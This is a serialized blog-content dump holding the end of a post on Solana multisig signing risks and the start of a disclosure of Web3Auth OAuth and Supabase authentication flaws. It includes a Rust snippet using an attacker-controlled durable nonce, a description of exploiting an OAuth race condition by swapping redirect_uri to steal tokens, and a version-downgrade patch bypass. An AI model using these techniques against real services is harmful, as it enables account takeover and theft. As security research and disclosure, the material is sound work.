}\n);\n",[71033],{"type":21,"tag":78,"props":71034,"children":71035},{"__ignoreMap":7},[71036,71083,71119,71127,71139,71147,71159,71167,71175,71192,71199,71206,71214,71222,71234,71260,71277,71284,71291,71299,71306],{"type":21,"tag":153,"props":71037,"children":71038},{"class":155,"line":156},[71039,71043,71048,71052,71056,71061,71065,71070,71074,71079],{"type":21,"tag":153,"props":71040,"children":71041},{"style":170},[71042],{"type":26,"value":5085},{"type":21,"tag":153,"props":71044,"children":71045},{"style":192},[71046],{"type":26,"value":71047}," connection",{"type":21,"tag":153,"props":71049,"children":71050},{"style":198},[71051],{"type":26,"value":255},{"type":21,"tag":153,"props":71053,"children":71054},{"style":170},[71055],{"type":26,"value":34627},{"type":21,"tag":153,"props":71057,"children":71058},{"style":181},[71059],{"type":26,"value":71060}," Connection",{"type":21,"tag":153,"props":71062,"children":71063},{"style":160},[71064],{"type":26,"value":189},{"type":21,"tag":153,"props":71066,"children":71067},{"style":181},[71068],{"type":26,"value":71069},"clusterApiUrl",{"type":21,"tag":153,"props":71071,"children":71072},{"style":160},[71073],{"type":26,"value":189},{"type":21,"tag":153,"props":71075,"children":71076},{"style":671},[71077],{"type":26,"value":71078},"'testnet'",{"type":21,"tag":153,"props":71080,"children":71081},{"style":160},[71082],{"type":26,"value":9951},{"type":21,"tag":153,"props":71084,"children":71085},{"class":155,"line":166},[71086,71090,71095,71099,71103,71107,71111,71115],{"type":21,"tag":153,"props":71087,"children":71088},{"style":170},[71089],{"type":26,"value":5085},{"type":21,"tag":153,"props":71091,"children":71092},{"style":192},[71093],{"type":26,"value":71094}," nonceAccounts",{"type":21,"tag":153,"props":71096,"children":71097},{"style":198},[71098],{"type":26,"value":255},{"type":21,"tag":153,"props":71100,"children":71101},{"style":1751},[71102],{"type":26,"value":38904},{"type":21,"tag":153,"props":71104,"children":71105},{"style":192},[71106],{"type":26,"value":71047},{"type":21,"tag":153,"props":71108,"children":71109},{"style":160},[71110],{"type":26,"value":355},{"type":21,"tag":153,"props":71112,"children":71113},{"style":181},[71114],{"type":26,"value":71018},{"type":21,"tag":153,"props":71116,"children":71117},{"style":160},[71118],{"type":26,"value":773},{"type":21,"tag":153,"props":71120,"children":71121},{"class":155,"line":225},[71122],{"type":21,"tag":153,"props":71123,"children":71124},{"style":3050},[71125],{"type":26,"value":71126},"  // The system program owns all nonce accounts.\n",{"type":21,"tag":153,"props":71128,"children":71129},{"class":155,"line":239},[71130,71135],{"type":21,"tag":153,"props":71131,"children":71132},{"style":192},[71133],{"type":26,"value":71134},"  SYSTEM_PROGRAM_ADDRESS",{"type":21,"tag":153,"props":71136,"children":71137},{"style":160},[71138],{"type":26,"value":792},{"type":21,"tag":153,"props":71140,"children":71141},{"class":155,"line":382},[71142],{"type":21,"tag":153,"props":71143,"children":71144},{"style":160},[71145],{"type":26,"value":71146},"  {\n",{"type":21,"tag":153,"props":71148,"children":71149},{"class":155,"line":501},[71150,71155],{"type":21,"tag":153,"props":71151,"children":71152},{"style":192},[71153],{"type":26,"value":71154},"    filters:",{"type":21,"tag":153,"props":71156,"children":71157},{"style":160},[71158],{"type":26,"value":28318},{"type":21,"tag":153,"props":71160,"children":71161},{"class":155,"line":533},[71162],{"type":21,"tag":153,"props":71163,"children":71164},{"style":160},[71165],{"type":26,"value":71166},"      {\n",{"type":21,"tag":153,"props":71168,"children":71169},{"class":155,"line":542},[71170],{"type":21,"tag":153,"props":71171,"children":71172},{"style":3050},[71173],{"type":26,"value":71174},"        // Nonce accounts are exactly 80 bytes long\n",{"type":21,"tag":153,"props":71176,"children":71177},{"class":155,"line":762},[71178,71183,71188],{"type":21,"tag":153,"props":71179,"children":71180},{"style":192},[71181],{"type":26,"value":71182},"        dataSize:",{"type":21,"tag":153,"props":71184,"children":71185},{"style":300},[71186],{"type":26,"value":71187}," 80",{"type":21,"tag":153,"props":71189,"children":71190},{"style":160},[71191],{"type":26,"value":792},{"type":21,"tag":153,"props":71193,"children":71194},{"class":155,"line":776},[71195],{"type":21,"tag":153,"props":71196,"children":71197},{"style":160},[71198],{"type":26,"value":39892},{"type":21,"tag":153,"props":71200,"children":71201},{"class":155,"line":795},[71202],{"type":21,"tag":153,"props":71203,"children":71204},{"style":160},[71205],{"type":26,"value":71166},{"type":21,"tag":153,"props":71207,"children":71208},{"class":155,"line":808},[71209],{"type":21,"tag":153,"props":71210,"children":71211},{"style":3050},[71212],{"type":26,"value":71213},"        // The authority's 32-byte public key is written\n",{"type":21,"tag":153,"props":71215,"children":71216},{"class":155,"line":820},[71217],{"type":21,"tag":153,"props":71218,"children":71219},{"style":3050},[71220],{"type":26,"value":71221},"        // into bytes 8-40 of the nonce's account data.\n",{"type":21,"tag":153,"props":71223,"children":71224},{"class":155,"line":842},[71225,71230],{"type":21,"tag":153,"props":71226,"children":71227},{"style":192},[71228],{"type":26,"value":71229},"        memcmp:",{"type":21,"tag":153,"props":71231,"children":71232},{"style":160},[71233],{"type":26,"value":236},{"type":21,"tag":153,"props":71235,"children":71236},{"class":155,"line":3204},[71237,71242,71247,71251,71256],{"type":21,"tag":153,"props":71238,"children":71239},{"style":192},[71240],{"type":26,"value":71241},"          bytes:",{"type":21,"tag":153,"props":71243,"children":71244},{"style":192},[71245],{"type":26,"value":71246}," AUTHORITY_PUBLIC_KEY",{"type":21,"tag":153,"props":71248,"children":71249},{"style":160},[71250],{"type":26,"value":355},{"type":21,"tag":153,"props":71252,"children":71253},{"style":181},[71254],{"type":26,"value":71255},"toBase58",{"type":21,"tag":153,"props":71257,"children":71258},{"style":160},[71259],{"type":26,"value":721},{"type":21,"tag":153,"props":71261,"children":71262},{"class":155,"line":3230},[71263,71268,71273],{"type":21,"tag":153,"props":71264,"children":71265},{"style":192},[71266],{"type":26,"value":71267},"          offset:",{"type":21,"tag":153,"props":71269,"children":71270},{"style":300},[71271],{"type":26,"value":71272}," 8",{"type":21,"tag":153,"props":71274,"children":71275},{"style":160},[71276],{"type":26,"value":792},{"type":21,"tag":153,"props":71278,"children":71279},{"class":155,"line":3239},[71280],{"type":21,"tag":153,"props":71281,"children":71282},{"style":160},[71283],{"type":26,"value":3236},{"type":21,"tag":153,"props":71285,"children":71286},{"class":155,"line":3253},[71287],{"type":21,"tag":153,"props":71288,"children":71289},{"style":160},[71290],{"type":26,"value":39892},{"type":21,"tag":153,"props":71292,"children":71293},{"class":155,"line":3301},[71294],{"type":21,"tag":153,"props":71295,"children":71296},{"style":160},[71297],{"type":26,"value":71298},"    ],\n",{"type":21,"tag":153,"props":71300,"children":71301},{"class":155,"line":3346},[71302],{"type":21,"tag":153,"props":71303,"children":71304},{"style":160},[71305],{"type":26,"value":8601},{"type":21,"tag":153,"props":71307,"children":71308},{"class":155,"line":3355},[71309],{"type":21,"tag":153,"props":71310,"children":71311},{"style":160},[71312],{"type":26,"value":530},{"type":21,"tag":22,"props":71314,"children":71315},{},[71316,71318,71326],{"type":26,"value":71317},"Unfortunately this is not sufficient",{"type":21,"tag":18171,"props":71319,"children":71320},{},[71321],{"type":21,"tag":29,"props":71322,"children":71324},{"href":32318,"ariaDescribedBy":71323,"dataFootnoteRef":7,"id":32320},[18178],[71325],{"type":26,"value":3033},{"type":26,"value":71327},". A transaction may have multiple signers, and an attacker could use their own durable nonce fee-payer. This means our problem as defined above is unfortunately unsolvable.",{"type":21,"tag":143,"props":71329,"children":71331},{"className":145,"code":71330,"language":147,"meta":7,"style":7},"    let instruction = system_instruction::transfer(&from, &ledger_base_pubkey, 42);\n    let message =\n        Message::new_with_nonce(vec![instruction], Some(&evil_nonce_authority), &nonce_account, &evil_nonce_authority)\n            .serialize();\n",[71332],{"type":21,"tag":78,"props":71333,"children":71334},{"__ignoreMap":7},[71335,71401,71417,71500],{"type":21,"tag":153,"props":71336,"children":71337},{"class":155,"line":156},[71338,71342,71346,71350,71355,71359,71363,71367,71371,71375,71379,71383,71388,71392,71397],{"type":21,"tag":153,"props":71339,"children":71340},{"style":170},[71341],{"type":26,"value":629},{"type":21,"tag":153,"props":71343,"children":71344},{"style":192},[71345],{"type":26,"value":3065},{"type":21,"tag":153,"props":71347,"children":71348},{"style":198},[71349],{"type":26,"value":255},{"type":21,"tag":153,"props":71351,"children":71352},{"style":160},[71353],{"type":26,"value":71354}," system_instruction",{"type":21,"tag":153,"props":71356,"children":71357},{"style":198},[71358],{"type":26,"value":265},{"type":21,"tag":153,"props":71360,"children":71361},{"style":181},[71362],{"type":26,"value":1965},{"type":21,"tag":153,"props":71364,"children":71365},{"style":160},[71366],{"type":26,"value":189},{"type":21,"tag":153,"props":71368,"children":71369},{"style":198},[71370],{"type":26,"value":1974},{"type":21,"tag":153,"props":71372,"children":71373},{"style":192},[71374],{"type":26,"value":22170},{"type":21,"tag":153,"props":71376,"children":71377},{"style":160},[71378],{"type":26,"value":1670},{"type":21,"tag":153,"props":71380,"children":71381},{"style":198},[71382],{"type":26,"value":1974},{"type":21,"tag":153,"props":71384,"children":71385},{"style":192},[71386],{"type":26,"value":71387},"ledger_base_pubkey",{"type":21,"tag":153,"props":71389,"children":71390},{"style":160},[71391],{"type":26,"value":1670},{"type":21,"tag":153,"props":71393,"children":71394},{"style":300},[71395],{"type":26,"value":71396},"42",{"type":21,"tag":153,"props":71398,"children":71399},{"style":160},[71400],{"type":26,"value":530},{"type":21,"tag":153,"props":71402,"children":71403},{"class":155,"line":166},[71404,71408,71413],{"type":21,"tag":153,"props":71405,"children":71406},{"style":170},[71407],{"type":26,"value":629},{"type":21,"tag":153,"props":71409,"children":71410},{"style":192},[71411],{"type":26,"value":71412}," message",{"type":21,"tag":153,"props":71414,"children":71415},{"style":198},[71416],{"type":26,"value":38548},{"type":21,"tag":153,"props":71418,"children":71419},{"class":155,"line":225},[71420,71425,71429,71434,71438,71442,71446,71450,71454,71458,71462,71466,71471,71475,71479,71484,71488,71492,71496],{"type":21,"tag":153,"props":71421,"children":71422},{"style":214},[71423],{"type":26,"value":71424},"        Message",{"type":21,"tag":153,"props":71426,"children":71427},{"style":198},[71428],{"type":26,"value":265},{"type":21,"tag":153,"props":71430,"children":71431},{"style":181},[71432],{"type":26,"value":71433},"new_with_nonce",{"type":21,"tag":153,"props":71435,"children":71436},{"style":160},[71437],{"type":26,"value":189},{"type":21,"tag":153,"props":71439,"children":71440},{"style":181},[71441],{"type":26,"value":6608},{"type":21,"tag":153,"props":71443,"children":71444},{"style":160},[71445],{"type":26,"value":211},{"type":21,"tag":153,"props":71447,"children":71448},{"style":192},[71449],{"type":26,"value":3386},{"type":21,"tag":153,"props":71451,"children":71452},{"style":160},[71453],{"type":26,"value":308},{"type":21,"tag":153,"props":71455,"children":71456},{"style":214},[71457],{"type":26,"value":1675},{"type":21,"tag":153,"props":71459,"children":71460},{"style":160},[71461],{"type":26,"value":189},{"type":21,"tag":153,"props":71463,"children":71464},{"style":198},[71465],{"type":26,"value":1974},{"type":21,"tag":153,"props":71467,"children":71468},{"style":192},[71469],{"type":26,"value":71470},"evil_nonce_authority",{"type":21,"tag":153,"props":71472,"children":71473},{"style":160},[71474],{"type":26,"value":17877},{"type":21,"tag":153,"props":71476,"children":71477},{"style":198},[71478],{"type":26,"value":1974},{"type":21,"tag":153,"props":71480,"children":71481},{"style":192},[71482],{"type":26,"value":71483},"nonce_account",{"type":21,"tag":153,"props":71485,"children":71486},{"style":160},[71487],{"type":26,"value":1670},{"type":21,"tag":153,"props":71489,"children":71490},{"style":198},[71491],{"type":26,"value":1974},{"type":21,"tag":153,"props":71493,"children":71494},{"style":192},[71495],{"type":26,"value":71470},{"type":21,"tag":153,"props":71497,"children":71498},{"style":160},[71499],{"type":26,"value":5909},{"type":21,"tag":153,"props":71501,"children":71502},{"class":155,"line":239},[71503,71507,71512],{"type":21,"tag":153,"props":71504,"children":71505},{"style":198},[71506],{"type":26,"value":5917},{"type":21,"tag":153,"props":71508,"children":71509},{"style":181},[71510],{"type":26,"value":71511},"serialize",{"type":21,"tag":153,"props":71513,"children":71514},{"style":160},[71515],{"type":26,"value":839},{"type":21,"tag":22,"props":71517,"children":71518},{},[71519,71521,71528],{"type":26,"value":71520},"Luckily, it is tractable with a small modification. What if the signer is allowed to observe the fee-payer on the transaction? For example, Ledger ",{"type":21,"tag":29,"props":71522,"children":71525},{"href":71523,"rel":71524},"https://github.com/LedgerHQ/app-solana/blob/a19da6c301541390bd08731a10f1f128b38ee66e/src/handle_sign_message.c#L97",[33],[71526],{"type":26,"value":71527},"logs the fee-payer here",{"type":26,"value":355},{"type":21,"tag":143,"props":71530,"children":71532},{"className":19212,"code":71531,"language":5896,"meta":7,"style":7},"bool print_config_show_authority(const PrintConfig* print_config, const Pubkey* authority) {\n    return print_config->expert_mode || !pubkeys_equal(print_config->signer_pubkey, authority);\n}\n",[71533],{"type":21,"tag":78,"props":71534,"children":71535},{"__ignoreMap":7},[71536,71595,71651],{"type":21,"tag":153,"props":71537,"children":71538},{"class":155,"line":156},[71539,71543,71548,71552,71556,71561,71565,71570,71574,71578,71582,71586,71591],{"type":21,"tag":153,"props":71540,"children":71541},{"style":170},[71542],{"type":26,"value":32380},{"type":21,"tag":153,"props":71544,"children":71545},{"style":181},[71546],{"type":26,"value":71547}," print_config_show_authority",{"type":21,"tag":153,"props":71549,"children":71550},{"style":160},[71551],{"type":26,"value":189},{"type":21,"tag":153,"props":71553,"children":71554},{"style":170},[71555],{"type":26,"value":5085},{"type":21,"tag":153,"props":71557,"children":71558},{"style":160},[71559],{"type":26,"value":71560}," PrintConfig",{"type":21,"tag":153,"props":71562,"children":71563},{"style":198},[71564],{"type":26,"value":313},{"type":21,"tag":153,"props":71566,"children":71567},{"style":192},[71568],{"type":26,"value":71569}," print_config",{"type":21,"tag":153,"props":71571,"children":71572},{"style":160},[71573],{"type":26,"value":1670},{"type":21,"tag":153,"props":71575,"children":71576},{"style":170},[71577],{"type":26,"value":5085},{"type":21,"tag":153,"props":71579,"children":71580},{"style":160},[71581],{"type":26,"value":2266},{"type":21,"tag":153,"props":71583,"children":71584},{"style":198},[71585],{"type":26,"value":313},{"type":21,"tag":153,"props":71587,"children":71588},{"style":192},[71589],{"type":26,"value":71590}," authority",{"type":21,"tag":153,"props":71592,"children":71593},{"style":160},[71594],{"type":26,"value":2659},{"type":21,"tag":153,"props":71596,"children":71597},{"class":155,"line":166},[71598,71602,71606,71610,71615,71619,71623,71628,71632,71637,71641,71646],{"type":21,"tag":153,"props":71599,"children":71600},{"style":1751},[71601],{"type":26,"value":19687},{"type":21,"tag":153,"props":71603,"children":71604},{"style":192},[71605],{"type":26,"value":71569},{"type":21,"tag":153,"props":71607,"children":71608},{"style":160},[71609],{"type":26,"value":2953},{"type":21,"tag":153,"props":71611,"children":71612},{"style":192},[71613],{"type":26,"value":71614},"expert_mode",{"type":21,"tag":153,"props":71616,"children":71617},{"style":198},[71618],{"type":26,"value":26394},{"type":21,"tag":153,"props":71620,"children":71621},{"style":198},[71622],{"type":26,"value":15581},{"type":21,"tag":153,"props":71624,"children":71625},{"style":181},[71626],{"type":26,"value":71627},"pubkeys_equal",{"type":21,"tag":153,"props":71629,"children":71630},{"style":160},[71631],{"type":26,"value":189},{"type":21,"tag":153,"props":71633,"children":71634},{"style":192},[71635],{"type":26,"value":71636},"print_config",{"type":21,"tag":153,"props":71638,"children":71639},{"style":160},[71640],{"type":26,"value":2953},{"type":21,"tag":153,"props":71642,"children":71643},{"style":192},[71644],{"type":26,"value":71645},"signer_pubkey",{"type":21,"tag":153,"props":71647,"children":71648},{"style":160},[71649],{"type":26,"value":71650},", authority);\n",{"type":21,"tag":153,"props":71652,"children":71653},{"class":155,"line":225},[71654],{"type":21,"tag":153,"props":71655,"children":71656},{"style":160},[71657],{"type":26,"value":548},{"type":21,"tag":22,"props":71659,"children":71660},{},[71661],{"type":26,"value":71662},"Let's say we've determined our signer has no associated nonce accounts. If our pubkey is the fee-payer on the new proposed transaction, we can know for sure that the transaction does not use durable nonces!",{"type":21,"tag":22,"props":71664,"children":71665},{},[71666],{"type":26,"value":71667},"Without durable nonces, the problem becomes much easier to solve. After waiting enough time, there'll be a point where all previously signed transactions will be expired. If we see no unexpected transactions, that means we're safe.",{"type":21,"tag":22,"props":71669,"children":71670},{},[71671],{"type":26,"value":71672},"We can then use the following procedure.",{"type":21,"tag":126,"props":71674,"children":71675},{},[71676,71681,71686,71691,71696],{"type":21,"tag":91,"props":71677,"children":71678},{},[71679],{"type":26,"value":71680},"Ensure all signers have no durable nonce accounts.",{"type":21,"tag":91,"props":71682,"children":71683},{},[71684],{"type":26,"value":71685},"The first signer signs and submits the transaction.",{"type":21,"tag":91,"props":71687,"children":71688},{},[71689],{"type":26,"value":71690},"Wait two minutes for all recent blockhashes to expire.",{"type":21,"tag":91,"props":71692,"children":71693},{},[71694],{"type":26,"value":71695},"Observe recent transactions associated with the signer to ensure nothing unexpected is submitted.",{"type":21,"tag":91,"props":71697,"children":71698},{},[71699],{"type":26,"value":71700},"Repeat steps 2 to 4 for each signer",{"type":21,"tag":66,"props":71702,"children":71704},{"id":71703},"beyond",[71705],{"type":26,"value":71706},"Beyond",{"type":21,"tag":22,"props":71708,"children":71709},{},[71710],{"type":26,"value":71711},"Solana's signature model is unique. What can protocols do if they're deploying on blockchains without these unique properties? The most important constraint is observability. There must be a way you can see what you're signing, either while signing or implicitly after the fact.",{"type":21,"tag":22,"props":71713,"children":71714},{},[71715,71717,71724],{"type":26,"value":71716},"For example, pcaversaccio wrote a tool to ",{"type":21,"tag":29,"props":71718,"children":71721},{"href":71719,"rel":71720},"https://github.com/pcaversaccio/safe-tx-hashes-util",[33],[71722],{"type":26,"value":71723},"validate Safe transaction hashes",{"type":26,"value":71725},". As the space matures, we hope more open source tooling will come to light.",{"type":21,"tag":21119,"props":71727,"children":71729},{"className":71728,"dataFootnotes":7},[21122],[71730,71735],{"type":21,"tag":66,"props":71731,"children":71733},{"className":71732,"id":18178},[21127],[71734],{"type":26,"value":21130},{"type":21,"tag":126,"props":71736,"children":71737},{},[71738],{"type":21,"tag":91,"props":71739,"children":71740},{"id":33060},[71741,71743,71751,71753],{"type":26,"value":71742},"The original version of this blog post did not consider a malicious fee-payer. Thanks to ",{"type":21,"tag":29,"props":71744,"children":71748},{"href":71745,"rel":71746,":style":71747},"https://twitter.com/PierreArowana",[33],"color: #B1D0EE; text-decoration: underline;",[71749],{"type":26,"value":71750},"@PierreArowana",{"type":26,"value":71752}," for pointing this out to me. ",{"type":21,"tag":29,"props":71754,"children":71756},{"href":33088,"ariaLabel":21233,"className":71755,"dataFootnoteBackref":7},[21235],[71757],{"type":26,"value":21238},{"type":21,"tag":5603,"props":71759,"children":71760},{},[71761],{"type":26,"value":5607},{"title":7,"searchDepth":166,"depth":166,"links":71763},[71764,71768,71769,71770],{"id":69960,"depth":166,"text":69963,"children":71765},[71766,71767],{"id":69971,"depth":225,"text":69974},{"id":70250,"depth":225,"text":70253},{"id":70971,"depth":166,"text":70974},{"id":71703,"depth":166,"text":71706},{"id":18178,"depth":166,"text":21130},"content:blog:2025-02-22-multisig-security.md","blog/2025-02-22-multisig-security.md","blog/2025-02-22-multisig-security",{"_path":71775,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":71776,"description":71777,"date":71778,"author":71779,"image":71780,"isFeatured":16,"onBlogPage":16,"tags":71782,"body":71783,"_type":5619,"_id":73481,"_source":5621,"_file":73482,"_stem":73483,"_extension":5624},"/blog/2025-03-07-subverting-web2-authentication-in-web3","Subverting Web2 Authentication in Web3","Web3 authentication uses cryptographic signatures and wallets, but Web2 auth integrations can introduce hidden risks. We explore vulnerabilities like OAuth logic exploits, Supabase misconfigurations, and OAuth abuse in localhost setups.","2025-03-07",[33896,33895],{"src":71781},"/posts/web2-in-web3/title.jpg",[34834],{"type":18,"children":71784,"toc":73463},[71785,71790,71795,71800,71826,71832,71837,71843,71864,71870,71875,71882,71895,71925,71931,71975,71982,71988,72021,72042,72050,72069,72076,72081,72087,72092,72097,72122,72127,72133,72139,72160,72166,72193,72221,72228,72233,72238,72583,72587,72609,72615,72636,72650,72663,72668,72684,72689,73418,73423,73428,73433,73445,73449,73454,73459],{"type":21,"tag":22,"props":71786,"children":71787},{},[71788],{"type":26,"value":71789},"Authentication serves as a cornerstone of secure interactions in Web3, enabling access control, user identity verification, and transaction integrity. Unlike traditional Web2 systems, which often rely on centralized databases and password-based mechanisms, Web3 systems adopt decentralized identifiers (DIDs), cryptographic signatures, and wallet-based authentication. However, there are many applications that still use Web2-based authentication providers to improve the user experience.",{"type":21,"tag":22,"props":71791,"children":71792},{},[71793],{"type":26,"value":71794},"In our research, we focused on Web3 applications that rely on Web2-based authentication methods. Specifically, we analyzed the authentication flows of these applications and identified a lesser-known class of vulnerabilities.",{"type":21,"tag":22,"props":71796,"children":71797},{},[71798],{"type":26,"value":71799},"In this article, we will discuss three cases we discovered:",{"type":21,"tag":126,"props":71801,"children":71802},{},[71803,71808,71821],{"type":21,"tag":91,"props":71804,"children":71805},{},[71806],{"type":26,"value":71807},"OAuth Logic Vulnerability on an Authentication Provider",{"type":21,"tag":91,"props":71809,"children":71810},{},[71811,71813,71819],{"type":26,"value":71812},"Supabase ",{"type":21,"tag":78,"props":71814,"children":71816},{"className":71815},[],[71817],{"type":26,"value":71818},"user_metadata",{"type":26,"value":71820}," misconfiguration",{"type":21,"tag":91,"props":71822,"children":71823},{},[71824],{"type":26,"value":71825},"OAuth abuse in localhost development environment",{"type":21,"tag":66,"props":71827,"children":71829},{"id":71828},"abusing-oauth-authentication-logic",[71830],{"type":26,"value":71831},"Abusing OAuth Authentication Logic",{"type":21,"tag":22,"props":71833,"children":71834},{},[71835],{"type":26,"value":71836},"During our research, we initially identified some bugs in applications. However, these were mostly simple and well-known issues, so we decided to focus on vulnerabilities within authentication providers themselves.",{"type":21,"tag":114,"props":71838,"children":71840},{"id":71839},"web3auth-introduction",[71841],{"type":26,"value":71842},"Web3Auth Introduction",{"type":21,"tag":22,"props":71844,"children":71845},{},[71846,71853,71855,71862],{"type":21,"tag":29,"props":71847,"children":71850},{"href":71848,"rel":71849},"https://web3auth.io/",[33],[71851],{"type":26,"value":71852},"Web3Auth",{"type":26,"value":71854}," is a tool designed to simplify the login process for Web3 applications, eliminating the need for users to manage complex wallet setups or memorize lengthy passwords. One of its products, Web3Auth PnP (Plug and Play), supports ",{"type":21,"tag":29,"props":71856,"children":71859},{"href":71857,"rel":71858},"https://oauth.net/2/",[33],[71860],{"type":26,"value":71861},"OAuth2",{"type":26,"value":71863}," authentication using Google. The product employs a sophisticated authentication flow and infrastructure to maintain seamless integration with dApps.",{"type":21,"tag":114,"props":71865,"children":71867},{"id":71866},"web3auth-authentication-flow",[71868],{"type":26,"value":71869},"Web3Auth Authentication flow",{"type":21,"tag":22,"props":71871,"children":71872},{},[71873],{"type":26,"value":71874},"The Web3Auth PnP authentication flow involves a web session server that stores authentication parameters and configurations. Below is a diagram illustrating how the authentication process works:",{"type":21,"tag":22,"props":71876,"children":71877},{},[71878],{"type":21,"tag":3644,"props":71879,"children":71881},{"alt":52869,"src":71880},"/posts/web2-in-web3/auth-flow.png",[],{"type":21,"tag":22,"props":71883,"children":71884},{},[71885,71887,71893],{"type":26,"value":71886},"After the final redirect back to the dApp,  the application can use the secret token to authenticate with the service identified by the ",{"type":21,"tag":78,"props":71888,"children":71890},{"className":71889},[],[71891],{"type":26,"value":71892},"client_id",{"type":26,"value":71894},". This design ensures that you cannot use the token to authenticate against any unauthorized application.",{"type":21,"tag":22,"props":71896,"children":71897},{},[71898,71900,71906,71908,71914,71916,71923],{"type":26,"value":71899},"Additionally, it is important to note that each dApp has a whitelist of redirect URLs. The ",{"type":21,"tag":78,"props":71901,"children":71903},{"className":71902},[],[71904],{"type":26,"value":71905},"/start",{"type":26,"value":71907}," validates the ",{"type":21,"tag":78,"props":71909,"children":71911},{"className":71910},[],[71912],{"type":26,"value":71913},"redirect_url",{"type":26,"value":71915}," against the configured ",{"type":21,"tag":29,"props":71917,"children":71920},{"href":71918,"rel":71919},"https://web3auth.io/docs/dashboard-setup/whitelisting",[33],[71921],{"type":26,"value":71922},"whitelist",{"type":26,"value":71924}," to ensure it matches one of the allowed URLs.",{"type":21,"tag":114,"props":71926,"children":71928},{"id":71927},"in-transit-cryptography",[71929],{"type":26,"value":71930},"In-transit Cryptography",{"type":21,"tag":22,"props":71932,"children":71933},{},[71934,71936,71943,71945,71951,71953,71959,71961,71966,71968,71973],{"type":26,"value":71935},"The session server employs cryptography to securely send and receive authentication parameters. The ",{"type":21,"tag":29,"props":71937,"children":71940},{"href":71938,"rel":71939},"https://en.wikipedia.org/wiki/Key_(cryptography)",[33],[71941],{"type":26,"value":71942},"cryptographic key",{"type":26,"value":71944}," is derived from the ",{"type":21,"tag":78,"props":71946,"children":71948},{"className":71947},[],[71949],{"type":26,"value":71950},"sessionId",{"type":26,"value":71952},"  sent in the ",{"type":21,"tag":78,"props":71954,"children":71956},{"className":71955},[],[71957],{"type":26,"value":71958},"GET",{"type":26,"value":71960}," parameter to the ",{"type":21,"tag":78,"props":71962,"children":71964},{"className":71963},[],[71965],{"type":26,"value":71905},{"type":26,"value":71967},". Since the ",{"type":21,"tag":78,"props":71969,"children":71971},{"className":71970},[],[71972],{"type":26,"value":71950},{"type":26,"value":71974}," can be controlled, it allows us to send and receive data from the session server.",{"type":21,"tag":22,"props":71976,"children":71977},{},[71978],{"type":21,"tag":3644,"props":71979,"children":71981},{"alt":52869,"src":71980},"/posts/web2-in-web3/image-2.png",[],{"type":21,"tag":114,"props":71983,"children":71985},{"id":71984},"race-condition",[71986],{"type":26,"value":71987},"Race Condition",{"type":21,"tag":22,"props":71989,"children":71990},{},[71991,71993,71998,72000,72006,72008,72013,72015,72020],{"type":26,"value":71992},"As shown in the diagram, the configuration data from the session server is validated only during the ",{"type":21,"tag":78,"props":71994,"children":71996},{"className":71995},[],[71997],{"type":26,"value":71905},{"type":26,"value":71999}," and later used in the ",{"type":21,"tag":78,"props":72001,"children":72003},{"className":72002},[],[72004],{"type":26,"value":72005},"/end",{"type":26,"value":72007}," enpoint. This introduces a potential race condition that can be exploited if an attacker manages to modify the parameters after  validation (",{"type":21,"tag":78,"props":72009,"children":72011},{"className":72010},[],[72012],{"type":26,"value":71905},{"type":26,"value":72014},") but before  use (",{"type":21,"tag":78,"props":72016,"children":72018},{"className":72017},[],[72019],{"type":26,"value":72005},{"type":26,"value":23436},{"type":21,"tag":22,"props":72022,"children":72023},{},[72024,72026,72033,72035,72040],{"type":26,"value":72025},"To exploit this ",{"type":21,"tag":29,"props":72027,"children":72030},{"href":72028,"rel":72029},"https://portswigger.net/web-security/race-conditions",[33],[72031],{"type":26,"value":72032},"race condition",{"type":26,"value":72034},",  an attacker-controlled website can initiate the authentication flow normally. Then, it can send another request to the session server with the same ",{"type":21,"tag":78,"props":72036,"children":72038},{"className":72037},[],[72039],{"type":26,"value":71950},{"type":26,"value":72041}," but with modified malicious parameters.",{"type":21,"tag":22,"props":72043,"children":72044},{},[72045],{"type":21,"tag":8055,"props":72046,"children":72047},{},[72048],{"type":26,"value":72049},"What can be modified to achieve something impactful?",{"type":21,"tag":22,"props":72051,"children":72052},{},[72053,72055,72061,72063,72068],{"type":26,"value":72054},"The answer is quite simple if you understand how OAuth works. The attacker can simply change the ",{"type":21,"tag":78,"props":72056,"children":72058},{"className":72057},[],[72059],{"type":26,"value":72060},"redirect_uri",{"type":26,"value":72062}," parameter to point to their own website and leak the secret token from the query string. With the secret token, they can authenticate against the application defined by ",{"type":21,"tag":78,"props":72064,"children":72066},{"className":72065},[],[72067],{"type":26,"value":71892},{"type":26,"value":355},{"type":21,"tag":22,"props":72070,"children":72071},{},[72072],{"type":21,"tag":3644,"props":72073,"children":72075},{"alt":52869,"src":72074},"/posts/web2-in-web3/image-3.png",[],{"type":21,"tag":22,"props":72077,"children":72078},{},[72079],{"type":26,"value":72080},"Using this exploit, we were able to create a website capable of taking over the accounts of victims who followed the standard OAuth flow.",{"type":21,"tag":114,"props":72082,"children":72084},{"id":72083},"patch-bypass",[72085],{"type":26,"value":72086},"Patch & Bypass",{"type":21,"tag":22,"props":72088,"children":72089},{},[72090],{"type":26,"value":72091},"The vulnerability was reported and remediated on the same day (super quickly!). However, we found that the fix was not backported to older versions.",{"type":21,"tag":22,"props":72093,"children":72094},{},[72095],{"type":26,"value":72096},"To bypass the fix we were able to change the version in the URL:",{"type":21,"tag":87,"props":72098,"children":72099},{},[72100,72111],{"type":21,"tag":91,"props":72101,"children":72102},{},[72103,72109],{"type":21,"tag":78,"props":72104,"children":72106},{"className":72105},[],[72107],{"type":26,"value":72108},"https://auth.web3auth.io/v8/start",{"type":26,"value":72110}," (latest version)",{"type":21,"tag":91,"props":72112,"children":72113},{},[72114,72120],{"type":21,"tag":78,"props":72115,"children":72117},{"className":72116},[],[72118],{"type":26,"value":72119},"https://auth.web3auth.io/v6/start",{"type":26,"value":72121}," (bypass)",{"type":21,"tag":22,"props":72123,"children":72124},{},[72125],{"type":26,"value":72126},"We reported this issue, and it was addressed just as quickly!",{"type":21,"tag":66,"props":72128,"children":72130},{"id":72129},"supabase-metadata-manipulation",[72131],{"type":26,"value":72132},"Supabase metadata manipulation",{"type":21,"tag":114,"props":72134,"children":72136},{"id":72135},"supabase-authentication-flow",[72137],{"type":26,"value":72138},"Supabase Authentication flow",{"type":21,"tag":22,"props":72140,"children":72141},{},[72142,72149,72151,72158],{"type":21,"tag":29,"props":72143,"children":72146},{"href":72144,"rel":72145},"https://supabase.com/docs/guides/auth",[33],[72147],{"type":26,"value":72148},"Supabase",{"type":26,"value":72150}," is a Backend-as-a-Service (BaaS) platform that provides authentication, database, and real-time APIs. The authentication process begins when a user registers or logs in. 